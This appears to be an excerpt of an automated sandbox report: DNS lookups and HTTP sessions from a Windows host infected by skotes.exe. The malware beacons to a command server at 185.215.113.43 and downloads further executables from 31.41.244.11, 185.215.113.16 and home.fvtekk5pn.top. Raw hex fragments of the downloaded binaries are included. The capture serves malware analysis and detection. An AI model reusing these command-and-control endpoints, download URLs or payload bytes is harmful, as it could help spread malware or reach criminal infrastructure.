Nov 24, 2024 10:26:56.886718988 CET	1.1.1.1	192.168.2.5	0xb589	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:56.886718988 CET	1.1.1.1	192.168.2.5	0xb589	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:56.887061119 CET	1.1.1.1	192.168.2.5	0xb589	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:56.887061119 CET	1.1.1.1	192.168.2.5	0xb589	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:28:59.658703089 CET	1.1.1.1	192.168.2.5	0xfff7	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:28:59.658703089 CET	1.1.1.1	192.168.2.5	0xfff7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:29:14.725516081 CET	1.1.1.1	192.168.2.5	0x3eb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:29:14.725516081 CET	1.1.1.1	192.168.2.5	0x3eb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:29:17.359647989 CET	1.1.1.1	192.168.2.5	0x654c	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:31:11.015302896 CET	1.1.1.1	192.168.2.5	0x8f44	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:31:12.267389059 CET	1.1.1.1	192.168.2.5	0x2e9d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:31:12.267389059 CET	1.1.1.1	192.168.2.5	0x2e9d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49801	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:05.709229946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:24:07.121098042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49807	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:08.771181107 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:24:10.179105997 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 37 31 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 37 31 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 37 31 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 37 32 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008713001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008718001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008719001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008720001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008721001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49813	31.41.244.11	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:10.488104105 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 10:24:11.893449068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:11 GMT Content-Type: application/octet-stream Content-Length: 4349440 Last-Modified: Sun, 24 Nov 2024 07:34:48 GMT Connection: keep-alive ETag: "6742d718-425e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 20 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c3 00 00 04 00 00 1a ac 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0b c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 0b c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2 J@PB@ _qsp px'@.rsrc p'@.idata q'@ P7q'@ppsazxmd`'@jngonnpx8B@.taggant0 "<B@
Nov 24, 2024 10:24:11.893479109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:11.893493891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:11.893631935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:11.893649101 CET	896	IN	Data Raw: f6 83 cf 91 08 32 b6 9e 9d fc 77 a1 d1 ef c4 78 c5 f5 c4 a5 25 34 b7 13 06 59 36 1e b9 8a ff 3c 29 bb 1d 15 fb 4b e7 31 94 f7 19 09 de 83 c1 9a 2f 8a a6 49 09 34 6b 98 b3 97 f0 59 8e 97 d8 f8 1a 9d 8f 64 12 6d a5 d2 aa 53 c5 5a b1 35 7b 03 b5 94 Data Ascii: 2wx%4Y6<)K1/I4kYdmSZ5{7V[C_u 1e}\vV;wW;A\&fx0c<A4`PsS(sR+P,2)1,m0Y,%\f r,]v
Nov 24, 2024 10:24:11.893668890 CET	1236	IN	Data Raw: c9 52 2e 64 70 45 ec 98 05 8a f0 66 59 42 0b f1 fc c3 47 1b 45 6e 45 be 75 47 32 35 75 12 d7 e4 8b c7 22 7c b0 10 b1 8f 88 17 9b da 11 1c 21 38 ef ec 25 d1 53 b3 7d cb d9 24 37 f9 35 97 91 06 12 cd c2 2e 17 02 5f 23 94 6c 07 e2 29 a2 a5 cd 9d 63 Data Ascii: R.dpEfYBGEnEuG25u"\|!8%S}$75._#l)c-4^I</V\2xuV4]I7R;\|M%#(cd#\|s-bo.v$vM%x9!?e^jg$ E~>ut"5sD7]hF
Nov 24, 2024 10:24:11.893677950 CET	1236	IN	Data Raw: eb 97 4b 1c a7 f0 a7 13 f9 63 c8 8d b5 e6 f8 b1 ce 73 fc 1a 70 57 70 6f cb 9e 3c 28 f1 7c fb b1 b5 5a 2d dc f2 8c 72 a2 86 1b ec 98 99 67 e6 60 c4 65 3b a2 26 94 1c 74 92 67 33 3d bc 74 1b 94 e0 0b 7a bc b3 bc 38 5d b5 d7 04 70 dc 5a 76 7f c7 69 Data Ascii: KcspWpo<(\|Z-rg`e;&tg3=tz8]pZvi9$26]G=Zpyr=t&\v#r)3!t/W{u+Pz3/`\f@CdrDw6Ef2qi,D~:\/P{5``XBNo
Nov 24, 2024 10:24:11.893752098 CET	1236	IN	Data Raw: 91 d3 84 cb 8c 5e bb 39 d9 04 9f 0e 8a 00 39 1c c5 59 2d f9 d5 6d 2d 6b fd 50 3f 12 17 17 83 3b da 3c 1c aa d3 be 55 52 ff 85 60 df bb aa 2d 28 30 b9 2c 70 31 54 62 2e 99 b3 c5 d6 25 27 38 58 3e 73 2a d3 0b f9 85 7b 0a 3f 04 f4 4c 2d 69 fb 56 bd Data Ascii: ^99Y-m-kP?;<UR`-(0,p1Tb.%'8X>s{?L-iV5UU]yzZS<LE5'{R69O_Nd\d\|kI6d%g&_,4E3MQV8b24,0!# wKtYKA=
Nov 24, 2024 10:24:11.893768072 CET	1236	IN	Data Raw: d2 33 bb d8 e5 46 3b 8a ba b5 f3 2c aa 2b 4f 8d ae 14 97 d3 80 17 5b 5b 40 1c ce ec 91 a5 a3 62 76 fc a0 67 18 eb c0 13 b0 6f 35 fa f3 7c 1e a6 f6 fe f4 17 4b b7 3a 6a 36 3f c6 14 d2 6d 9c 4a e9 0f ec 5a f7 da 40 24 5f 6a 90 fc 21 bd d4 8f 1b a6 Data Ascii: 3F;,+O[[@bvgo5\|K:j6?mJZ@$_j!rLr~c2<&\-tL318>/ty[2$0,W<.fFsBgI20u{VA60!RP[c_X,X890#4+cR%jVD6/}G
Nov 24, 2024 10:24:11.893783092 CET	896	IN	Data Raw: e9 f6 39 41 aa 6a d8 0f 6d c2 26 5d a2 32 bf 4f 26 f0 3e 20 ab af b5 10 1d fd 2f 23 8a f4 8d bd 7a 6b 03 04 cd 13 13 56 d0 55 9f 18 b2 0c 97 4d 6f ad 42 0c aa 75 40 19 55 d7 f4 f3 78 0d 2f 44 25 79 01 d7 b1 dd 15 45 ef 01 2f 8f b1 6b 41 6c b1 35 Data Ascii: 9Ajm&]2O&> /#zkVUMoBu@Ux/D%yE/kAl5Dj,xFUvH;9z8)Juj!\b5uJ^G1BgN+a5)Ko.22D)]rC&lhIr<RO%HJ@{$ *T6e_TAJ;{
Nov 24, 2024 10:24:12.013004065 CET	1236	IN	Data Raw: 2b 72 fd 34 8c e1 66 77 f5 1b 49 99 ed fd 79 00 f9 30 c6 66 8b 93 0f 2c e1 b0 60 35 b1 7a 63 d2 90 f3 dc 67 f5 ca 80 7f 90 87 24 28 5e 98 5f 43 91 8f 07 d4 e7 08 25 76 b6 b7 e4 11 6c cd ac 03 02 4f a8 f1 7f c3 2d 57 37 71 23 31 cd fa f7 32 d7 94 Data Ascii: +r4fwIy0f,`5zcg$(^_C%vlO-W7q#128!p!j%p:f%? 7w23SA5?E ;lp\pQOrew$=dP;Sq^Bu0*u#0u9b0J7y7Ha5!93>X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49839	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:21.757484913 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008713001&unit=246122658369
Nov 24, 2024 10:24:23.186667919 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49840	34.116.198.130	80	1964	C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:22.647115946 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 10:24:24.069396019 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 09:24:23 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 10:24:24.069427967 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 24, 2024 10:24:24.069442987 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 24, 2024 10:24:24.069530010 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 24, 2024 10:24:24.069544077 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 24, 2024 10:24:24.069868088 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 24, 2024 10:24:24.069894075 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 24, 2024 10:24:24.069905996 CET	448	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 24, 2024 10:24:24.069996119 CET	1236	IN	Data Raw: 29 e3 72 c0 c7 b5 e6 43 14 b5 c1 f6 39 3b 78 7a f2 18 b0 dc 0c 5d f7 73 1a 41 75 40 29 c5 a2 9c fe 2e dc ab 40 67 8f 5a 30 cd 92 fc 58 75 ad a7 55 97 c1 8a fe fe cf 52 24 89 fa 08 d7 42 32 e1 76 52 3a 74 b3 a1 8e 52 b7 c5 11 67 7b 1a 31 01 be 22 Data Ascii: )rC9;xz]sAu@).@gZ0XuUR$B2vR:tRg{1"ClqtLqrP%#meWwY>EiDHruh$xx{QUMS&2muD t%?- E&q2V(L}k(5up
Nov 24, 2024 10:24:24.070013046 CET	1236	IN	Data Raw: 92 06 94 33 e7 f1 07 2e b7 e9 57 ff 53 11 90 31 a9 9f 80 87 a0 23 0a d9 c8 42 f0 ba 69 1f e1 99 e8 34 d1 d8 95 3f 3c c0 5f 66 c5 6b 0d ca 43 6b 97 78 b8 e5 34 fe 03 61 a1 16 44 0c d8 cc 48 d8 60 8f 64 db 74 c2 8f 91 85 90 3e 82 8c 35 ed 45 ba 2d Data Ascii: 3.WS1#Bi4?<_fkCkx4aDH`dt>5E-+il2n/"WV> i46eL"!^jRw{;+B0QgZ F^(}n^lX3dYCtP}q{jWix+@?e-
Nov 24, 2024 10:24:24.189157963 CET	1236	IN	Data Raw: 34 f3 9d 78 e2 99 af fd 52 dc b3 69 c2 56 35 33 c8 7f f6 9d d5 98 2c 9c 68 7b 42 fa 5c ba e2 ef 1f 36 61 52 ff 5a 86 63 d4 c5 5b f6 d1 04 cb b0 58 1b 5b 8d fa ea 8e 3f ab 32 a5 c5 dc af 25 18 9a 7e b4 f4 ac 14 ad 82 1d e0 7b 64 d5 d8 92 5d ce ce Data Ascii: 4xRiV53,h{B\6aRZc[X[?2%~{d]K)ULNbTLmV4T.03^Bpf~8 >rc;~Cw>@{`dz#~J0RnF@o"w\|"s{Vh)?Rgbw9U-.GBlH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49845	185.215.113.16	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:23.330410957 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 10:24:24.785877943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:24:24 GMT Content-Type: application/octet-stream Content-Length: 1841664 Last-Modified: Sun, 24 Nov 2024 08:21:17 GMT Connection: keep-alive ETag: "6742e1fd-1c1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 20 ec 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gH@H @\pp `b@.rsrcpr@.idata t@ `)v@quzinlov.\|x@yfhksbggpH@.taggant0H"@
Nov 24, 2024 10:24:24.786000013 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:24.786081076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:24:24.786185026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
